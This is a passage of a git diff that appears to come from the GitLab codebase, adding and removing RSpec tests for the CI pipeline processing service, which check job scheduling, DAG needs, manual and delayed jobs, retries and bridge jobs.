+ let!(:mac_rubocop_on_build) { create(:ci_build_need, build: mac_rubocop, name: 'mac:build') }
+
+ it 'when linux:* finishes first it runs it out of order' do
+ expect(process_pipeline).to be_truthy
+
+ expect(stages).to eq(%w(pending created created))
+ expect(builds.pending).to contain_exactly(linux_build, mac_build)
+
+ # we follow the single path of linux
+ linux_build.reset.success!
+
+ expect(stages).to eq(%w(running pending created))
+ expect(builds.success).to contain_exactly(linux_build)
+ expect(builds.pending).to contain_exactly(mac_build, linux_rspec, linux_rubocop)
+
+ linux_rspec.reset.success!
+
+ expect(stages).to eq(%w(running running created))
+ expect(builds.success).to contain_exactly(linux_build, linux_rspec)
+ expect(builds.pending).to contain_exactly(mac_build, linux_rubocop)
+
+ linux_rubocop.reset.success!
+
+ expect(stages).to eq(%w(running running created))
+ expect(builds.success).to contain_exactly(linux_build, linux_rspec, linux_rubocop)
+ expect(builds.pending).to contain_exactly(mac_build)
+
+ mac_build.reset.success!
+ mac_rspec.reset.success!
+ mac_rubocop.reset.success!
+
+ expect(stages).to eq(%w(success success pending))
+ expect(builds.success).to contain_exactly(
+ linux_build, linux_rspec, linux_rubocop, mac_build, mac_rspec, mac_rubocop)
+ expect(builds.pending).to contain_exactly(deploy)
+ end
+
+ context 'when one of the jobs is run on a failure' do
+ let!(:linux_notify) { create_build('linux:notify', stage: 'deploy', stage_idx: 2, when: 'on_failure', scheduling_type: :dag) }
+
+ let!(:linux_notify_on_build) { create(:ci_build_need, build: linux_notify, name: 'linux:build') }
+
+ context 'when another job in build phase fails first' do
+ it 'does skip linux:notify' do
+ expect(process_pipeline).to be_truthy
+
+ mac_build.reset.drop!
+ linux_build.reset.success!
+
+ expect(linux_notify.reset).to be_skipped
+ end
+ end
+
+ context 'when linux:build job fails first' do
+ it 'does run linux:notify' do
+ expect(process_pipeline).to be_truthy
+
+ linux_build.reset.drop!
+
+ expect(linux_notify.reset).to be_pending
+ end
+ end
+ end
+
+ context 'when there is a job scheduled with dag but no need (needs: [])' do
+ let!(:deploy_pages) { create_build('deploy_pages', stage: 'deploy', stage_idx: 2, scheduling_type: :dag) }
+
+ it 'runs deploy_pages without waiting prior stages' do
+ expect(process_pipeline).to be_truthy
+
+ expect(stages).to eq(%w(pending created pending))
+ expect(builds.pending).to contain_exactly(linux_build, mac_build, deploy_pages)
+
+ linux_build.reset.success!
+ deploy_pages.reset.success!
+
+ expect(stages).to eq(%w(running pending running))
+ expect(builds.success).to contain_exactly(linux_build, deploy_pages)
+ expect(builds.pending).to contain_exactly(mac_build, linux_rspec, linux_rubocop)
+
+ linux_rspec.reset.success!
+ linux_rubocop.reset.success!
+ mac_build.reset.success!
+ mac_rspec.reset.success!
+ mac_rubocop.reset.success!
+
+ expect(stages).to eq(%w(success success running))
+ expect(builds.pending).to contain_exactly(deploy)
+ end
+ end
+ end
+
+ context 'when a needed job is skipped', :sidekiq_inline do
+ let!(:linux_build) { create_build('linux:build', stage: 'build', stage_idx: 0) }
+ let!(:linux_rspec) { create_build('linux:rspec', stage: 'test', stage_idx: 1) }
+ let!(:deploy) { create_build('deploy', stage: 'deploy', stage_idx: 2, scheduling_type: :dag) }
+
+ before do
+ create(:ci_build_need, build: deploy, name: 'linux:build')
+ end
+
+ it 'skips the jobs depending on it' do
+ expect(process_pipeline).to be_truthy
+
+ expect(stages).to eq(%w(pending created created))
+ expect(all_builds.pending).to contain_exactly(linux_build)
+
+ linux_build.reset.drop!
+
+ expect(stages).to eq(%w(failed skipped skipped))
+ expect(all_builds.failed).to contain_exactly(linux_build)
+ expect(all_builds.skipped).to contain_exactly(linux_rspec, deploy)
+ end
+ end
+
+ context 'when a needed job is manual', :sidekiq_inline do
+ let!(:linux_build) { create_build('linux:build', stage: 'build', stage_idx: 0, when: 'manual', allow_failure: true) }
+ let!(:deploy) { create_build('deploy', stage: 'deploy', stage_idx: 1, scheduling_type: :dag) }
+
+ before do
+ create(:ci_build_need, build: deploy, name: 'linux:build')
+ end
+
+ it 'makes deploy DAG to be skipped' do
+ expect(process_pipeline).to be_truthy
+
+ expect(stages).to eq(%w(skipped skipped))
+ expect(all_builds.manual).to contain_exactly(linux_build)
+ expect(all_builds.skipped).to contain_exactly(deploy)
+ end
+ end
+
+ context 'when a bridge job has parallel:matrix config', :sidekiq_inline do
+ let(:parent_config) do
+ <<-EOY
+ test:
+ stage: test
+ script: echo test
+
+ deploy:
+ stage: deploy
+ trigger:
+ include: .child.yml
+ parallel:
+ matrix:
+ - PROVIDER: ovh
+ STACK: [monitoring, app]
+ EOY
+ end
+
+ let(:child_config) do
+ <<-EOY
+ test:
+ stage: test
+ script: echo test
+ EOY
+ end
+
+ let(:pipeline) do
+ Ci::CreatePipelineService.new(project, user, { ref: 'master' }).execute(:push).payload
+ end
+
+ before do
+ allow_next_instance_of(Repository) do |repository|
+ allow(repository)
+ .to receive(:blob_data_at)
+ .with(an_instance_of(String), '.gitlab-ci.yml')
+ .and_return(parent_config)
+
+ allow(repository)
+ .to receive(:blob_data_at)
+ .with(an_instance_of(String), '.child.yml')
+ .and_return(child_config)
+ end
+ end
+
+ it 'creates pipeline with bridges, then passes the matrix variables to downstream jobs' do
+ expect(all_builds_names).to contain_exactly('test', 'deploy: [ovh, monitoring]', 'deploy: [ovh, app]')
+ expect(all_builds_statuses).to contain_exactly('pending', 'created', 'created')
+
+ succeed_pending
+
+ # bridge jobs directly transition to success
+ expect(all_builds_statuses).to contain_exactly('success', 'success', 'success')
+
+ bridge1 = all_builds.find_by(name: 'deploy: [ovh, monitoring]')
+ bridge2 = all_builds.find_by(name: 'deploy: [ovh, app]')
+
+ downstream_job1 = bridge1.downstream_pipeline.processables.first
+ downstream_job2 = bridge2.downstream_pipeline.processables.first
+
+ expect(downstream_job1.scoped_variables.to_hash).to include('PROVIDER' => 'ovh', 'STACK' => 'monitoring')
+ expect(downstream_job2.scoped_variables.to_hash).to include('PROVIDER' => 'ovh', 'STACK' => 'app')
+ end
+ end
+
+ context 'when a bridge job has invalid downstream project', :sidekiq_inline do
+ let(:config) do
+ <<-EOY
+ test:
+ stage: test
+ script: echo test
+
+ deploy:
+ stage: deploy
+ trigger:
+ project: invalid-project
+ EOY
+ end
+
+ let(:pipeline) do
+ Ci::CreatePipelineService.new(project, user, { ref: 'master' }).execute(:push).payload
+ end
+
+ before do
+ stub_ci_pipeline_yaml_file(config)
+ end
+
+ it 'creates a pipeline, then fails the bridge job' do
+ expect(all_builds_names).to contain_exactly('test', 'deploy')
+ expect(all_builds_statuses).to contain_exactly('pending', 'created')
+
+ succeed_pending
+
+ expect(all_builds_names).to contain_exactly('test', 'deploy')
+ expect(all_builds_statuses).to contain_exactly('success', 'failed')
+ end
+ end
+
+ private
+
+ def all_builds
+ pipeline.processables.order(:stage_idx, :id)
+ end
+
+ def builds
+ all_builds.where.not(status: [:created, :skipped])
+ end
+
+ def stages
+ pipeline.reset.stages.map(&:status)
+ end
+
+ def builds_names
+ builds.pluck(:name)
+ end
+
+ def builds_names_and_statuses
+ builds.each_with_object({}) do |b, h|
+ h[b.name.to_sym] = b.status
+ h
+ end
+ end
+
+ def all_builds_names
+ all_builds.pluck(:name)
+ end
+
+ def builds_statuses
+ builds.pluck(:status)
+ end
+
+ def all_builds_statuses
+ all_builds.pluck(:status)
+ end
+
+ def succeed_pending
+ builds.pending.each do |build|
+ build.reset.success
+ end
+ end
+
+ def succeed_running_or_pending
+ pipeline.builds.running_or_pending.each do |build|
+ build.reset.success
+ end
+ end
+
+ def fail_running_or_pending
+ pipeline.builds.running_or_pending.each do |build|
+ build.reset.drop
+ end
+ end
+
+ def cancel_running_or_pending
+ pipeline.builds.running_or_pending.each do |build|
+ build.reset.cancel
+ end
+ end
+
+ def play_manual_action(name)
+ builds.find_by(name: name).play(user)
+ end
+
+ def enqueue_scheduled(name)
+ builds.scheduled.find_by(name: name).enqueue_scheduled
+ end
+
+ def retry_build(name)
+ Ci::Build.retry(builds.find_by(name: name), user)
+ end
+
+ def manual_actions
+ pipeline.manual_actions.reload
+ end
+
+ def create_build(name, **opts)
+ create(:ci_build, :created, pipeline: pipeline, name: name, **with_stage_opts(opts))
+ end
+
+ def successful_build(name, **opts)
+ create(:ci_build, :success, pipeline: pipeline, name: name, **with_stage_opts(opts))
+ end
+
+ def with_stage_opts(opts)
+ { stage: "stage-#{opts[:stage_idx].to_i}" }.merge(opts)
+ end
+
+ def delayed_options
+ { when: 'delayed', options: { script: %w(echo), start_in: '1 minute' } }
+ end
+
+ def unschedule
+ pipeline.builds.scheduled.map(&:unschedule)
+ end
+ end
private
diff --git a/spec/services/ci/pipeline_processing/shared_processing_service.rb b/spec/services/ci/pipeline_processing/shared_processing_service.rb
deleted file mode 100644
index 8de9b308429..00000000000
--- a/spec/services/ci/pipeline_processing/shared_processing_service.rb
+++ /dev/null
@@ -1,1040 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples 'Pipeline Processing Service' do
- let(:project) { create(:project, :repository) }
- let(:user) { project.owner }
-
- let(:pipeline) do
- create(:ci_empty_pipeline, ref: 'master', project: project)
- end
-
- context 'when simple pipeline is defined' do
- before do
- create_build('linux', stage_idx: 0)
- create_build('mac', stage_idx: 0)
- create_build('rspec', stage_idx: 1)
- create_build('rubocop', stage_idx: 1)
- create_build('deploy', stage_idx: 2)
- end
-
- it 'processes a pipeline', :sidekiq_inline do
- expect(process_pipeline).to be_truthy
-
- succeed_pending
-
- expect(builds.success.count).to eq(2)
-
- succeed_pending
-
- expect(builds.success.count).to eq(4)
-
- succeed_pending
-
- expect(builds.success.count).to eq(5)
- end
-
- it 'does not process pipeline if existing stage is running' do
- expect(process_pipeline).to be_truthy
- expect(builds.pending.count).to eq(2)
-
- expect(process_pipeline).to be_falsey
- expect(builds.pending.count).to eq(2)
- end
- end
-
- context 'custom stage with first job allowed to fail' do
- before do
- create_build('clean_job', stage_idx: 0, allow_failure: true)
- create_build('test_job', stage_idx: 1, allow_failure: true)
- end
-
- it 'automatically triggers a next stage when build finishes', :sidekiq_inline do
- expect(process_pipeline).to be_truthy
- expect(builds_statuses).to eq ['pending']
-
- fail_running_or_pending
-
- expect(builds_statuses).to eq %w(failed pending)
-
- fail_running_or_pending
-
- expect(pipeline.reload).to be_success
- end
- end
-
- context 'when optional manual actions are defined', :sidekiq_inline do
- before do
- create_build('build', stage_idx: 0)
- create_build('test', stage_idx: 1)
- create_build('test_failure', stage_idx: 2, when: 'on_failure')
- create_build('deploy', stage_idx: 3)
- create_build('production', stage_idx: 3, when: 'manual', allow_failure: true)
- create_build('cleanup', stage_idx: 4, when: 'always')
- create_build('clear:cache', stage_idx: 4, when: 'manual', allow_failure: true)
- end
-
- context 'when builds are successful' do
- it 'properly processes the pipeline' do
- expect(process_pipeline).to be_truthy
- expect(builds_names).to eq ['build']
- expect(builds_statuses).to eq ['pending']
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w(build test)
- expect(builds_statuses).to eq %w(success pending)
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w(build test deploy production)
- expect(builds_statuses).to eq %w(success success pending manual)
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w(build test deploy production cleanup clear:cache)
- expect(builds_statuses).to eq %w(success success success manual pending manual)
-
- succeed_running_or_pending
-
- expect(builds_statuses).to eq %w(success success success manual success manual)
- expect(pipeline.reload.status).to eq 'success'
- end
- end
-
- context 'when test job fails' do
- it 'properly processes the pipeline' do
- expect(process_pipeline).to be_truthy
- expect(builds_names).to eq ['build']
- expect(builds_statuses).to eq ['pending']
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w(build test)
- expect(builds_statuses).to eq %w(success pending)
-
- fail_running_or_pending
-
- expect(builds_names).to eq %w(build test test_failure)
- expect(builds_statuses).to eq %w(success failed pending)
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w(build test test_failure cleanup)
- expect(builds_statuses).to eq %w(success failed success pending)
-
- succeed_running_or_pending
-
- expect(builds_statuses).to eq %w(success failed success success)
- expect(pipeline.reload.status).to eq 'failed'
- end
- end
-
- context 'when test and test_failure jobs fail' do
- it 'properly processes the pipeline' do
- expect(process_pipeline).to be_truthy
- expect(builds_names).to eq ['build']
- expect(builds_statuses).to eq ['pending']
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w(build test)
- expect(builds_statuses).to eq %w(success pending)
-
- fail_running_or_pending
-
- expect(builds_names).to eq %w(build test test_failure)
- expect(builds_statuses).to eq %w(success failed pending)
-
- fail_running_or_pending
-
- expect(builds_names).to eq %w(build test test_failure cleanup)
- expect(builds_statuses).to eq %w(success failed failed pending)
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w(build test test_failure cleanup)
- expect(builds_statuses).to eq %w(success failed failed success)
- expect(pipeline.reload.status).to eq('failed')
- end
- end
-
- context 'when deploy job fails' do
- it 'properly processes the pipeline' do
- expect(process_pipeline).to be_truthy
- expect(builds_names).to eq ['build']
- expect(builds_statuses).to eq ['pending']
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w(build test)
- expect(builds_statuses).to eq %w(success pending)
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w(build test deploy production)
- expect(builds_statuses).to eq %w(success success pending manual)
-
- fail_running_or_pending
-
- expect(builds_names).to eq %w(build test deploy production cleanup)
- expect(builds_statuses).to eq %w(success success failed manual pending)
-
- succeed_running_or_pending
-
- expect(builds_statuses).to eq %w(success success failed manual success)
- expect(pipeline.reload).to be_failed
- end
- end
-
- context 'when build is canceled in the second stage' do
- it 'does not schedule builds after build has been canceled' do
- expect(process_pipeline).to be_truthy
- expect(builds_names).to eq ['build']
- expect(builds_statuses).to eq ['pending']
-
- succeed_running_or_pending
-
- expect(builds.running_or_pending).not_to be_empty
- expect(builds_names).to eq %w(build test)
- expect(builds_statuses).to eq %w(success pending)
-
- cancel_running_or_pending
-
- expect(builds.running_or_pending).to be_empty
- expect(builds_names).to eq %w[build test]
- expect(builds_statuses).to eq %w[success canceled]
- expect(pipeline.reload).to be_canceled
- end
- end
-
- context 'when listing optional manual actions' do
- it 'returns only for skipped builds' do
- # currently all builds are created
- expect(process_pipeline).to be_truthy
- expect(manual_actions).to be_empty
-
- # succeed stage build
- succeed_running_or_pending
-
- expect(manual_actions).to be_empty
-
- # succeed stage test
- succeed_running_or_pending
-
- expect(manual_actions).to be_one # production
-
- # succeed stage deploy
- succeed_running_or_pending
-
- expect(manual_actions).to be_many # production and clear cache
- end
- end
- end
-
- context 'when delayed jobs are defined', :sidekiq_inline do
- context 'when the scene is timed incremental rollout' do
- before do
- create_build('build', stage_idx: 0)
- create_build('rollout10%', **delayed_options, stage_idx: 1)
- create_build('rollout100%', **delayed_options, stage_idx: 2)
- create_build('cleanup', stage_idx: 3)
-
- allow(Ci::BuildScheduleWorker).to receive(:perform_at)
- end
-
- context 'when builds are successful' do
- it 'properly processes the pipeline' do
- expect(process_pipeline).to be_truthy
- expect(builds_names_and_statuses).to eq({ 'build': 'pending' })
-
- succeed_pending
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'scheduled' })
-
- travel_to 2.minutes.from_now do
- enqueue_scheduled('rollout10%')
- end
- succeed_pending
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'success', 'rollout100%': 'scheduled' })
-
- travel_to 2.minutes.from_now do
- enqueue_scheduled('rollout100%')
- end
- succeed_pending
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'success', 'rollout100%': 'success', 'cleanup': 'pending' })
-
- succeed_pending
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'success', 'rollout100%': 'success', 'cleanup': 'success' })
- expect(pipeline.reload.status).to eq 'success'
- end
- end
-
- context 'when build job fails' do
- it 'properly processes the pipeline' do
- expect(process_pipeline).to be_truthy
- expect(builds_names_and_statuses).to eq({ 'build': 'pending' })
-
- fail_running_or_pending
-
- expect(builds_names_and_statuses).to eq({ 'build': 'failed' })
- expect(pipeline.reload.status).to eq 'failed'
- end
- end
-
- context 'when rollout 10% is unscheduled' do
- it 'properly processes the pipeline' do
- expect(process_pipeline).to be_truthy
- expect(builds_names_and_statuses).to eq({ 'build': 'pending' })
-
- succeed_pending
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'scheduled' })
-
- unschedule
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'manual' })
- expect(pipeline.reload.status).to eq 'manual'
- end
-
- context 'when user plays rollout 10%' do
- it 'schedules rollout100%' do
- process_pipeline
- succeed_pending
- unschedule
- play_manual_action('rollout10%')
- succeed_pending
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'success', 'rollout100%': 'scheduled' })
- expect(pipeline.reload.status).to eq 'scheduled'
- end
- end
- end
-
- context 'when rollout 10% fails' do
- it 'properly processes the pipeline' do
- expect(process_pipeline).to be_truthy
- expect(builds_names_and_statuses).to eq({ 'build': 'pending' })
-
- succeed_pending
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'scheduled' })
-
- travel_to 2.minutes.from_now do
- enqueue_scheduled('rollout10%')
- end
- fail_running_or_pending
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'failed' })
- expect(pipeline.reload.status).to eq 'failed'
- end
-
- context 'when user retries rollout 10%' do
- it 'does not schedule rollout10% again' do
- process_pipeline
- succeed_pending
- enqueue_scheduled('rollout10%')
- fail_running_or_pending
- retry_build('rollout10%')
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'pending' })
- expect(pipeline.reload.status).to eq 'running'
- end
- end
- end
-
- context 'when rollout 10% is played immidiately' do
- it 'properly processes the pipeline' do
- expect(process_pipeline).to be_truthy
- expect(builds_names_and_statuses).to eq({ 'build': 'pending' })
-
- succeed_pending
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'scheduled' })
-
- play_manual_action('rollout10%')
-
- expect(builds_names_and_statuses).to eq({ 'build': 'success', 'rollout10%': 'pending' })
- expect(pipeline.reload.status).to eq 'running'
- end
- end
- end
-
- context 'when only one scheduled job exists in a pipeline' do
- before do
- create_build('delayed', **delayed_options, stage_idx: 0)
-
- allow(Ci::BuildScheduleWorker).to receive(:perform_at)
- end
-
- it 'properly processes the pipeline' do
- expect(process_pipeline).to be_truthy
- expect(builds_names_and_statuses).to eq({ 'delayed': 'scheduled' })
-
- expect(pipeline.reload.status).to eq 'scheduled'
- end
- end
-
- context 'when there are two delayed jobs in a stage' do
- before do
- create_build('delayed1', **delayed_options, stage_idx: 0)
- create_build('delayed2', **delayed_options, stage_idx: 0)
- create_build('job', stage_idx: 1)
-
- allow(Ci::BuildScheduleWorker).to receive(:perform_at)
- end
-
- it 'blocks the stage until all scheduled jobs finished' do
- expect(process_pipeline).to be_truthy
- expect(builds_names_and_statuses).to eq({ 'delayed1': 'scheduled', 'delayed2': 'scheduled' })
-
- travel_to 2.minutes.from_now do
- enqueue_scheduled('delayed1')
- end
-
- expect(builds_names_and_statuses).to eq({ 'delayed1': 'pending', 'delayed2': 'scheduled' })
- expect(pipeline.reload.status).to eq 'running'
- end
- end
-
- context 'when a delayed job is allowed to fail' do
- before do
- create_build('delayed', **delayed_options, allow_failure: true, stage_idx: 0)
- create_build('job', stage_idx: 1)
-
- allow(Ci::BuildScheduleWorker).to receive(:perform_at)
- end
-
- it 'blocks the stage and continues after it failed' do
- expect(process_pipeline).to be_truthy
- expect(builds_names_and_statuses).to eq({ 'delayed': 'scheduled' })
-
- travel_to 2.minutes.from_now do
- enqueue_scheduled('delayed')
- end
- fail_running_or_pending
-
- expect(builds_names_and_statuses).to eq({ 'delayed': 'failed', 'job': 'pending' })
- expect(pipeline.reload.status).to eq 'pending'
- end
- end
- end
-
- context 'when an exception is raised during a persistent ref creation' do
- before do
- successful_build('test', stage_idx: 0)
-
- allow_next_instance_of(Ci::PersistentRef) do |instance|
- allow(instance).to receive(:delete_refs) { raise ArgumentError }
- end
- end
-
- it 'process the pipeline' do
- expect { process_pipeline }.not_to raise_error
- end
- end
-
- context 'when there are manual action in earlier stages' do
- context 'when first stage has only optional manual actions' do
- before do
- create_build('build', stage_idx: 0, when: 'manual', allow_failure: true)
- create_build('check', stage_idx: 1)
- create_build('test', stage_idx: 2)
-
- process_pipeline
- end
-
- it 'starts from the second stage' do
- expect(all_builds_statuses).to eq %w[manual pending created]
- end
- end
-
- context 'when second stage has only optional manual actions' do
- before do
- create_build('check', stage_idx: 0)
- create_build('build', stage_idx: 1, when: 'manual', allow_failure: true)
- create_build('test', stage_idx: 2)
-
- process_pipeline
- end
-
- it 'skips second stage and continues on third stage', :sidekiq_inline do
- expect(all_builds_statuses).to eq(%w[pending created created])
-
- builds.first.success
-
- expect(all_builds_statuses).to eq(%w[success manual pending])
- end
- end
- end
-
- context 'when there are only manual actions in stages' do
- before do
- create_build('image', stage_idx: 0, when: 'manual', allow_failure: true)
- create_build('build', stage_idx: 1, when: 'manual', allow_failure: true)
- create_build('deploy', stage_idx: 2, when: 'manual')
- create_build('check', stage_idx: 3)
-
- process_pipeline
- end
-
- it 'processes all jobs until blocking actions encountered' do
- expect(all_builds_statuses).to eq(%w[manual manual manual created])
- expect(all_builds_names).to eq(%w[image build deploy check])
-
- expect(pipeline.reload).to be_blocked
- end
- end
-
- context 'when there is only one manual action' do
- before do
- create_build('deploy', stage_idx: 0, when: 'manual', allow_failure: true)
-
- process_pipeline
- end
-
- it 'skips the pipeline' do
- expect(pipeline.reload).to be_skipped
- end
-
- context 'when the action was played' do
- before do
- play_manual_action('deploy')
- end
-
- it 'queues the action and pipeline', :sidekiq_inline do
- expect(all_builds_statuses).to eq(%w[pending])
-
- expect(pipeline.reload).to be_pending
- end
- end
- end
-
- context 'when blocking manual actions are defined', :sidekiq_inline do
- before do
- create_build('code:test', stage_idx: 0)
- create_build('staging:deploy', stage_idx: 1, when: 'manual')
- create_build('staging:test', stage_idx: 2, when: 'on_success')
- create_build('production:deploy', stage_idx: 3, when: 'manual')
- create_build('production:test', stage_idx: 4, when: 'always')
- end
-
- context 'when first stage succeeds' do
- it 'blocks pipeline on stage with first manual action' do
- process_pipeline
-
- expect(builds_names).to eq %w[code:test]
- expect(builds_statuses).to eq %w[pending]
- expect(pipeline.reload.status).to eq 'pending'
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w[code:test staging:deploy]
- expect(builds_statuses).to eq %w[success manual]
- expect(pipeline.reload).to be_manual
- end
- end
-
- context 'when first stage fails' do
- it 'does not take blocking action into account' do
- process_pipeline
-
- expect(builds_names).to eq %w[code:test]
- expect(builds_statuses).to eq %w[pending]
- expect(pipeline.reload.status).to eq 'pending'
-
- fail_running_or_pending
-
- expect(builds_names).to eq %w[code:test production:test]
- expect(builds_statuses).to eq %w[failed pending]
-
- succeed_running_or_pending
-
- expect(builds_statuses).to eq %w[failed success]
- expect(pipeline.reload).to be_failed
- end
- end
-
- context 'when pipeline is promoted sequentially up to the end' do
- before do
- # Users need ability to merge into a branch in order to trigger
- # protected manual actions.
- #
- create(:protected_branch, :developers_can_merge,
- name: 'master', project: project)
- end
-
- it 'properly processes entire pipeline' do
- process_pipeline
-
- expect(builds_names).to eq %w[code:test]
- expect(builds_statuses).to eq %w[pending]
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w[code:test staging:deploy]
- expect(builds_statuses).to eq %w[success manual]
- expect(pipeline.reload).to be_manual
-
- play_manual_action('staging:deploy')
-
- expect(builds_statuses).to eq %w[success pending]
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w[code:test staging:deploy staging:test]
- expect(builds_statuses).to eq %w[success success pending]
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w[code:test staging:deploy staging:test
- production:deploy]
- expect(builds_statuses).to eq %w[success success success manual]
-
- expect(pipeline.reload).to be_manual
- expect(pipeline.reload).to be_blocked
- expect(pipeline.reload).not_to be_active
- expect(pipeline.reload).not_to be_complete
-
- play_manual_action('production:deploy')
-
- expect(builds_statuses).to eq %w[success success success pending]
- expect(pipeline.reload).to be_running
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w[code:test staging:deploy staging:test
- production:deploy production:test]
- expect(builds_statuses).to eq %w[success success success success pending]
- expect(pipeline.reload).to be_running
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w[code:test staging:deploy staging:test
- production:deploy production:test]
- expect(builds_statuses).to eq %w[success success success success success]
- expect(pipeline.reload).to be_success
- end
- end
- end
-
- context 'when second stage has only on_failure jobs', :sidekiq_inline do
- before do
- create_build('check', stage_idx: 0)
- create_build('build', stage_idx: 1, when: 'on_failure')
- create_build('test', stage_idx: 2)
-
- process_pipeline
- end
-
- it 'skips second stage and continues on third stage' do
- expect(all_builds_statuses).to eq(%w[pending created created])
-
- builds.first.success
-
- expect(all_builds_statuses).to eq(%w[success skipped pending])
- end
- end
-
- context 'when failed build in the middle stage is retried', :sidekiq_inline do
- context 'when failed build is the only unsuccessful build in the stage' do
- before do
- create_build('build:1', stage_idx: 0)
- create_build('build:2', stage_idx: 0)
- create_build('test:1', stage_idx: 1)
- create_build('test:2', stage_idx: 1)
- create_build('deploy:1', stage_idx: 2)
- create_build('deploy:2', stage_idx: 2)
- end
-
- it 'does trigger builds in the next stage' do
- expect(process_pipeline).to be_truthy
- expect(builds_names).to eq ['build:1', 'build:2']
-
- succeed_running_or_pending
-
- expect(builds_names).to eq ['build:1', 'build:2', 'test:1', 'test:2']
-
- pipeline.builds.find_by(name: 'test:1').success!
- pipeline.builds.find_by(name: 'test:2').drop!
-
- expect(builds_names).to eq ['build:1', 'build:2', 'test:1', 'test:2']
-
- Ci::Build.retry(pipeline.builds.find_by(name: 'test:2'), user).reset.success!
-
- expect(builds_names).to eq ['build:1', 'build:2', 'test:1', 'test:2',
- 'test:2', 'deploy:1', 'deploy:2']
- end
- end
- end
-
- context 'when builds with auto-retries are configured', :sidekiq_inline do
- before do
- create_build('build:1', stage_idx: 0, user: user, options: { script: 'aa', retry: 2 })
- create_build('test:1', stage_idx: 1, user: user, when: :on_failure)
- create_build('test:2', stage_idx: 1, user: user, options: { script: 'aa', retry: 1 })
- end
-
- it 'automatically retries builds in a valid order' do
- expect(process_pipeline).to be_truthy
-
- fail_running_or_pending
-
- expect(builds_names).to eq %w[build:1 build:1]
- expect(builds_statuses).to eq %w[failed pending]
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w[build:1 build:1 test:2]
- expect(builds_statuses).to eq %w[failed success pending]
-
- succeed_running_or_pending
-
- expect(builds_names).to eq %w[build:1 build:1 test:2]
- expect(builds_statuses).to eq %w[failed success success]
-
- expect(pipeline.reload).to be_success
- end
- end
-
- context 'when pipeline with needs is created', :sidekiq_inline do
- let!(:linux_build) { create_build('linux:build', stage: 'build', stage_idx: 0) }
- let!(:mac_build) { create_build('mac:build', stage: 'build', stage_idx: 0) }
- let!(:linux_rspec) { create_build('linux:rspec', stage: 'test', stage_idx: 1, scheduling_type: :dag) }
- let!(:linux_rubocop) { create_build('linux:rubocop', stage: 'test', stage_idx: 1, scheduling_type: :dag) }
- let!(:mac_rspec) { create_build('mac:rspec', stage: 'test', stage_idx: 1, scheduling_type: :dag) }
- let!(:mac_rubocop) { create_build('mac:rubocop', stage: 'test', stage_idx: 1, scheduling_type: :dag) }
- let!(:deploy) { create_build('deploy', stage: 'deploy', stage_idx: 2) }
-
- let!(:linux_rspec_on_build) { create(:ci_build_need, build: linux_rspec, name: 'linux:build') }
- let!(:linux_rubocop_on_build) { create(:ci_build_need, build: linux_rubocop, name: 'linux:build') }
-
- let!(:mac_rspec_on_build) { create(:ci_build_need, build: mac_rspec, name: 'mac:build') }
- let!(:mac_rubocop_on_build) { create(:ci_build_need, build: mac_rubocop, name: 'mac:build') }
-
- it 'when linux:* finishes first it runs it out of order' do
- expect(process_pipeline).to be_truthy
-
- expect(stages).to eq(%w(pending created created))
- expect(builds.pending).to contain_exactly(linux_build, mac_build)
-
- # we follow the single path of linux
- linux_build.reset.success!
-
- expect(stages).to eq(%w(running pending created))
- expect(builds.success).to contain_exactly(linux_build)
- expect(builds.pending).to contain_exactly(mac_build, linux_rspec, linux_rubocop)
-
- linux_rspec.reset.success!
-
- expect(stages).to eq(%w(running running created))
- expect(builds.success).to contain_exactly(linux_build, linux_rspec)
- expect(builds.pending).to contain_exactly(mac_build, linux_rubocop)
-
- linux_rubocop.reset.success!
-
- expect(stages).to eq(%w(running running created))
- expect(builds.success).to contain_exactly(linux_build, linux_rspec, linux_rubocop)
- expect(builds.pending).to contain_exactly(mac_build)
-
- mac_build.reset.success!
- mac_rspec.reset.success!
- mac_rubocop.reset.success!
-
- expect(stages).to eq(%w(success success pending))
- expect(builds.success).to contain_exactly(
- linux_build, linux_rspec, linux_rubocop, mac_build, mac_rspec, mac_rubocop)
- expect(builds.pending).to contain_exactly(deploy)
- end
-
- context 'when one of the jobs is run on a failure' do
- let!(:linux_notify) { create_build('linux:notify', stage: 'deploy', stage_idx: 2, when: 'on_failure', scheduling_type: :dag) }
-
- let!(:linux_notify_on_build) { create(:ci_build_need, build: linux_notify, name: 'linux:build') }
-
- context 'when another job in build phase fails first' do
- it 'does skip linux:notify' do
- expect(process_pipeline).to be_truthy
-
- mac_build.reset.drop!
- linux_build.reset.success!
-
- expect(linux_notify.reset).to be_skipped
- end
- end
-
- context 'when linux:build job fails first' do
- it 'does run linux:notify' do
- expect(process_pipeline).to be_truthy
-
- linux_build.reset.drop!
-
- expect(linux_notify.reset).to be_pending
- end
- end
- end
-
- context 'when there is a job scheduled with dag but no need (needs: [])' do
